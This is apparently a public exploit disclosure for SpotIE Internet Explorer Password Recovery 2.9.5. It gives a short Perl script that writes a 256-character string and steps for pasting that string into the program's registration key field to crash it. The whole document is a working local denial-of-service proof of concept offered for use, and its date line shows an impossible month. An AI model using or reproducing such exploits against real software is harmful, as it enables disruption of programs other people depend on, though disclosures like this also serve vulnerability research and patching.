SpotIE Internet Explorer Password Recovery 2.9.5 - 'Key' Denial of Service

# Exploit Title: SpotIE Internet Explorer Password Recovery 2.9.5 - 'Key' Denial of Service
# Date: 2019-20-09
# Exploit Author: Emilio Revelo
# Vendor Homepage: http://www.nsauditor.com/
# Software Link : http://www.nsauditor.com/downloads/spotie_setup.exe
# Tested on: Windows 10 Pro x64 es
# Version: 2.9.5

# Steps to produce the DoS: 

# 1.- Run perl script : perl SpotIE.pl
# 2.- Open SpotIE.txt and copy the content to clipboard
# 3.- Open SpotIE Internet Explorer Password Recovery
# 4.- Navigate to Register -> Enter the registration name and key below...
# 5.- Paste ClipBoard on "Key:"
# 7.- Ok
# 8.- Observe the program crash.

#!/usr/local/bin/perl

use strict;
use warnings;

my $filename = 'SpotIE.txt';
open(my $fh, '>', $filename) or die "Could not open file '$filename' $!";
print $fh "E"x256;
close $fh;
print "Done!\n";
print "File: SpotIE.txt\n"